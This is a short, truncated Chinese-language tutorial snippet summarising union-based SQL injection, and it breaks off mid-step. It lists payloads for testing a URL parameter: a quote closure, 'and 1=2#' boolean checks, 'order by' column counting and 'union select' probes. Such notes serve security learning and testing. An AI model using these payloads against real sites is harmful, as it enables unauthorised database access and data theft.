Sql注入总结

Sql注入总结 联合查询： 1、利用闭合变量报错测试注入点， ?id=1’ .这样说明存在单引号闭合注入 2、是否存在注入点，用and语句测试 ?id=1’ and 1=2# ?id=1’ and 1=1# 3、猜测字段 ，?id=1’ order by 3%23 4、找到页面中数据输入点， ?id=-1’ union select 1,2,3%23 5、查数据库，?id=1’ union sel

>>阅读原文<<